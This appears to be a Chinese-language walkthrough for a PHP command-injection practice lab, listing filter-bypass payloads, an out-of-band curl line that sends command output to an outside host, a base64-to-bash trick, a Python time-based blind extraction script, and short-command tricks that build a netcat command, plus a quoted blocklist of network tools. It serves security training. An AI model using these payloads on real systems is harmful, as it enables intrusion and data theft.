PHP命令执行靶场通关记录-1
字数 1440 2025-08-11 00:55:05
PHP命令执行靶场通关教学文档
1. 环境搭建
靶场信息
- 名称:橙子科技PHP命令执行靶场
- 镜像:mcc0624/cmd:latest
部署步骤
# 拉取镜像
sudo docker pull mcc0624/cmd:latest
# 运行容器
sudo docker run -p 18080:80 -p 18081:81 -p 18082:82 -it mcc0624/cmd:latest bash -c "/etc/rc.local; /bin/bash"
注意:必须加载/etc/rc.local以运行初始化命令
2. 命令执行绕过技术
2.1 命令执行函数替换
原理:当某些命令执行函数被过滤时,使用其他未被过滤的函数
常见命令执行函数:
- system()
- exec()
- shell_exec()
- passthru()
- popen()
- proc_open()
- 反引号(``)
- pcntl_exec()
例题代码:
if(isset($_GET['cmd'])){
$c = $_GET['cmd'];
if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
eval($c);
} else{
echo "你是黑客么?";
}
}
绕过方法:
- 使用未被过滤的
passthru函数 - Payload:
cmd=passthru("ls");
2.2 命令拼接
原理:利用命令分隔符拼接多条命令
Linux命令分隔符:
;- 顺序执行多条命令||- 前一条失败才执行后一条&&- 前一条成功才执行后一条
例题1:
system("ls".$cmd);
绕过方法:
- Payload:
cmd=;id(使用分号分隔)
例题2:
$cmd = $cmd." >/dev/null 2>&1";
system($cmd);
绕过方法:
- Payload:
cmd=id||(使用||避免重定向执行) - 带外注入:
cmd=curl http://ip:port/$(id)
2.3 空格过滤绕过
绕过方法:
- 使用
$IFS或${IFS}替代空格 - 使用重定向符号
<
例题代码:
$cmd = preg_replace("/ /", "", $cmd);
system($cmd);
Payload:
cmd=cat${IFS}flag.phpcmd=cat<flag.php
2.4 文件名过滤绕过
Linux通配符:
?- 匹配单个字符*- 匹配多个字符
例题代码:
if (!preg_match("/flag|system|php/i", $cmd)) {
eval($cmd);
}
绕过方法:
- 使用通配符匹配文件名
- Payload:
cmd=passthru('cat fl?g*');
2.5 文件读取命令过滤
替代文件读取命令:
- tac (反向cat)
- less/more (分页显示)
- nl (带行号显示)
- tail (显示文件末尾)
- grep (搜索内容)
例题1:
if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
eval($cmd);
}
Payload:
cmd=system("nl flag.php");
例题2:
if (!preg_match("/more|less|head|cat|tac|tail|nl|od|vi|vim|sort|uniq|file|\'/i", $c)) {
eval($c);
}
Payload:
c=system("grep { flag.php");- Base64编码绕过:
c=system("echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash");
2.6 无回显注入
技术:
- 带外注入(OOB)
- 时间盲注
例题代码:
function check($x){
if(preg_match('/nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|ping|touch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
exec($cmd);
时间盲注脚本:
import requests
import time
url = ""
result = ""
for i in range(1,5): # 行数
for j in range(1,55): # 字符位置
for c in range(32,128): # ASCII范围
c = chr(c)
payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {c} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result += c
print(result)
break
result += " "
2.7 长度限制绕过
限制长度为7
例题代码:
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
exec(filter($_GET['cmd']));
}
绕过方法:
- 创建短文件构造命令
- 使用
ls -t>a按时间排序生成执行文件 - 执行
sh a
步骤:
>port\\
> \\
>ip后半段\\
>ip前半段\\
>c\\
> \\
>\|n\\
>flag\\
>t\\
>ca\\
ls -t>a
限制长度为5
绕过方法:
- 使用
${IFS}替代空格 - 分步创建执行文件
步骤:
>ls\\
ls>t\\
>\>a\\
ls>>_
限制长度为4
特殊命令:
rev- 反转文件内容*- 执行第一个文件名作为命令dir- 类似ls但不换行
绕过方法:
- 创建命令文件
- 利用
*执行
步骤:
>sl\\
>ht-\\
>g\\
>>dir*\\
>v\\
>rev*v\\
>x
3. 总结
关键绕过技术
- 函数替换:了解所有命令执行函数
- 命令拼接:熟练使用分隔符
- 空格绕过:掌握
$IFS和重定向 - 通配符使用:灵活应用
?和* - 替代命令:熟悉各种文件读取方式
- 无回显处理:掌握OOB和时间盲注
- 长度限制:分步创建和执行命令
防御建议
- 严格过滤所有命令执行函数
- 禁用危险字符和通配符
- 限制命令长度
- 使用白名单而非黑名单
- 避免直接执行用户输入